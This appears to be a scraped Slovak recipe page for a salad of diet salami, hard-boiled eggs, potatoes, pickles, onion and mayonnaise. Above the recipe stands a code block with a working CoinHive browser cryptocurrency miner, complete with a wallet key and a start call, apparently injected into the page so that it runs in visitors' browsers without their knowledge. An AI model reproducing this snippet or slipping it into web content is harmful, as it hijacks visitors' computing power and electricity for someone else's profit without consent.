

```
var miner = new  
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```



Potrebuje: 200g diétnej salámy, 2 vajcia uvarené na tvrdo, 2-3 stredne veľké uvarené zemiaky, 1 majolka Hellmans, 1 PL oleja, trošku vegety, 1-2 PL kečupu, 1 ML omáčky – Tamari, 4 nakladané uhorky, 2 cibule, štipka mletého čierneho korenia

Postup: Zemiaky ošúpeme, vajcia olúpeme a postrúhame, uhorky nakrájame. Pridáme nadrobno posekanú cibuľu, majolku a všetky ostatné prísady. Dobre premiešame a odložíme na chladné miesto aspoň na 1 hodinu.